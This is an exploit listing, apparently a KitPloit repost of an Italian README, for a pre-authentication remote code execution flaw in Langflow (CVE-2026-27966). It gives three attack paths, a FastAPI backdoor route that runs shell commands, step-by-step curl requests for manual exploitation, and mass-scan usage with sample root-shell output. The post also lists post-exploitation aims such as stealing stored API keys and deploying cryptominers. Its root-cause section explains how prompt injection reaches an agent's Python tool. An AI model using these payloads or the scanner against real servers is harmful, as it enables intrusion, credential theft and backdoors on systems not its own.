Sploitus

Exploit for CVE-2026-27966

kitploit · 2026-08-27

Exploit Code

MARKDOWN290 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-SHINTHINK-CVE-2026-27966
![](https://img.shields.io/badge/python-3.8+-3776AB?style=flat-square&logo=python&logoColor=white) ![](https://img.shields.io/badge/CVE-2026--27966-CC0000?style=flat-square) ![](https://img.shields.io/badge/CVSS-9.8_CRITICAL-CC0000?style=flat-square) ![](https://img.shields.io/badge/license-MIT-97CA00?style=flat-square)

### CVE-2026-27966 — Scanner per l'Esecuzione Remota di Codice su Langflow

#### Iniezione di Route Pre-Auth + Iniezione di Vertex → Esecuzione di Codice Python

* * *

## Panoramica

**CVE-2026-27966** è una vulnerabilità di esecuzione remota di codice pre-autenticazione con severità critica (CVSS 9.8) nelle versioni di **Langflow** precedenti alla 1.8.0. La vulnerabilità deriva da `allow_dangerous_code=True` hardcoded nel componente CSV Agent, che espone lo strumento `python_repl_ast` di LangChain a iniezioni di prompt non autenticate.

Inoltre, diversi endpoint API non dispongono di un'autenticazione adeguata, consentendo l'iniezione diretta di route e l'iniezione di vertex dei flow — anche su istanze in cui il CSV Agent non è configurato.

### Versioni Interessate

Versione Langflow| Stato  
---|---  
< 1.8.0| Vulnerabile  
>= 1.8.0| Corretta  
  
* * *

## Vettori di Attacco

Questo scanner testa tre distinti percorsi di sfruttamento:

### 1\. Iniezione di Route (bypass di auto_login)

root@kitploit:~
    
    
    GET  /api/v1/auto_login          → obtain session / API key
    POST /api/v1/custom_component    → register backdoor route
    GET  /api/{backdoor}?c=command   → RCE
    

### 2\. Iniezione Diretta di Route (senza API key)

root@kitploit:~
    
    
    POST /api/v1/custom_component    → register backdoor route
    GET  /api/{backdoor}?c=command   → RCE
    

### 3\. Iniezione di Vertex in Build (build senza autenticazione)

root@kitploit:~
    
    
    GET  /api/v1/flows/basic_examples  → extract flow UUIDs (26 exposed)
    POST /api/v1/build/{UUID}/vertices → inject malicious vertex
    POST /api/v1/run/{UUID}            → execute vertex code → RCE
    

* * *

## Meccanismo della VulnerabilitĂ 

### Causa Principale

In `src/lfx/src/lfx/components/langchain_utilities/csv_agent.py`, il nodo CSV Agent contiene hardcoded `allow_dangerous_code=True`, che espone automaticamente lo strumento `python_repl_ast` di LangChain:

root@kitploit:~
    
    
    agent_kwargs = {
        "verbose": self.verbose,
        "allow_dangerous_code": True,  # hardcoded — cannot be disabled via UI
    }
    agent_csv = create_csv_agent(..., **agent_kwargs)
    

Ciò consente a qualsiasi prompt che raggiunge il CSV Agent di eseguire codice Python arbitrario tramite:

root@kitploit:~
    
    
    Action: python_repl_ast
    Action Input: __import__("os").system("command")
    

### Superficie API Non Autenticata

L'API REST di Langflow espone diversi endpoint senza autenticazione:

### Bypass dell'Autenticazione tramite auto_login

Sulle istanze in cui `auto_login` è abilitato (impostazione predefinita in molti deployment Docker), un attaccante ottiene una sessione valida e una API key:

root@kitploit:~
    
    
    curl -sk 'https://target.com/api/v1/auto_login'
    # Returns session with access_token → full API access
    

Con una API key valida, l'attaccante può usare `POST /api/v1/custom_component` per registrare una route FastAPI backdoor che persiste in memoria fino al riavvio del server:

root@kitploit:~
    
    
    from fastapi import APIRouter, Query
    router = APIRouter()
    @router.get("/sh")
    async def cmd(c: str = Query("")):
        import os
        return os.popen(c).read()
    app.include_router(router, prefix="/api")
    

### Perché CVSS 9.8

* * *

## Installazione

root@kitploit:~
    
    
    git clone https://github.com/shinthink/CVE-2026-27966.git
    cd CVE-2026-27966
    pip install -r requirements.txt
    

* * *

## Utilizzo

root@kitploit:~
    
    
    # Single target
    python cve_2026_27966.py -t target.com:7860
    
    # Mass scan
    python cve_2026_27966.py -f targets.txt
    
    # Mass scan + save results
    python cve_2026_27966.py -f targets.txt -o rce.txt
    
    # Detect only (skip exploitation)
    python cve_2026_27966.py -f targets.txt --no-exploit
    
    # Verbose output
    python cve_2026_27966.py -f targets.txt -v
    

### Opzioni

root@kitploit:~
    
    
      -t, --target      Single target (IP:port or domain)
      -f, --file        Target list, one per line
      -o, --output      Save RCE results to file
      --threads         Concurrent workers (default: 30)
      --no-exploit      Detection only, skip RCE attempts
      -v, --verbose     Show all results including non-RCE targets
    

* * *

## Prova di Concetto

### Rilevamento e Sfruttamento

root@kitploit:~
    
    
    $ python cve_2026_27966.py -t target.com:7860 -v
    

root@kitploit:~
    
    
      CVE-2026-27966 — Langflow RCE Scanner
      CVSS 9.8 | Pre-Auth | Route Injection → RCE
    
      Host     : target.com:7860
      Langflow : YES v1.2.0
      Vuln     : YES
      API Key  : NOT REQUIRED
      RCE      : YES
      Output   : uid=0(root) gid=0(root) groups=0(root)
      Time     : 12.3s
    

### Output della Scansione di Massa

root@kitploit:~
    
    
      CVE-2026-27966 Langflow RCE Scanner
      Targets: 4127 | Threads: 30 | Exploit: ON
      -------------------------------------------------------
    
      [RCE]  192.168.10.50     v1.2.0    7.3s
             uid=0(root) gid=0(root) groups=0(root)
      [AUTH] target.internal:4433 v1.2.0   14.1s  (API key)
      [500/4127] scanning... (12%)
    
      -------------------------------------------------------
      Total: 4127 | Langflow: 47 | RCE: 3 | API-Protected: 41
      -------------------------------------------------------
    

### Sfruttamento Manuale

**Passo 1 — Rilevamento di Langflow**

root@kitploit:~
    
    
    curl -sk 'https://target.com/api/v1/version'
    # {"version":"1.2.0","main_version":"1.2.0","package":"Langflow"}
    

**Passo 2 — Estrazione degli UUID dei flow**

root@kitploit:~
    
    
    curl -sk 'https://target.com/api/v1/flows/basic_examples/' | jq '.[0].id'
    # "bb0a7390-22a1-4a2e-8d7c-15463e53d9f2"
    

**Passo 3 — Iniezione del vertex backdoor**

root@kitploit:~
    
    
    curl -sk -X POST 'https://target.com/api/v1/build/{UUID}/vertices' \
      -H 'Content-Type: application/json' \
      -d '{"id":"bkdr","type":"CustomComponent","data":{"code":"from fastapi import APIRouter\nrouter=APIRouter()\some-email@example.com(\"/sh\")\nasync def cmd(c:str=\"\"):import os;return os.popen(c).read()\napp.include_router(router,prefix=\"/api\")","display_name":"X"}}'
    

**Passo 4 — Esecuzione del comando**

root@kitploit:~
    
    
    curl -sk 'https://target.com/api/sh?c=id;hostname;uname -a'
    

* * *

## Impatto

Uno sfruttamento riuscito consente **l'esecuzione remota di codice come root** nel container Docker di Langflow. Da qui, un attaccante può:

  * Estrarre le API key dal database SQLite di Langflow (OpenAI, Anthropic, Gemini, ecc.)
  * Accedere ai database vettoriali connessi e ai servizi esterni
  * Distribuire backdoor persistenti tramite componenti personalizzati
  * Effettuare pivot verso reti interne
  * Distribuire cryptominer o infrastruttura C2



* * *

## Dichiarazione di Non ResponsabilitĂ 

> **SOLO PER SCOPI EDUCATIVI E DI TEST AUTORIZZATI.**
> 
> Questo software è destinato a professionisti della sicurezza che conducono test di penetrazione autorizzati, organizzazioni che verificano la propria infrastruttura e ricercatori che studiano lo sfruttamento delle vulnerabilità.
> 
> L'accesso non autorizzato ai sistemi informatici è illegale e può violare:
> 
>   * Stati Uniti: Computer Fraud and Abuse Act (18 U.S.C. 1030)
>   * Indonesia: UU ITE Pasal 30 & 46
>   * Unione Europea: Direttiva 2013/40/UE
>   * Regno Unito: Computer Misuse Act 1990
> 

> 
> Gli autori non si assumono alcuna responsabilitĂ  per un uso improprio. Utilizzando questo software, accetti la piena responsabilitĂ  delle tue azioni.

* * *

## Riferimenti

Risorsa  
---  
  
* * *

Questo progetto non è affiliato con Langflow o Logspace.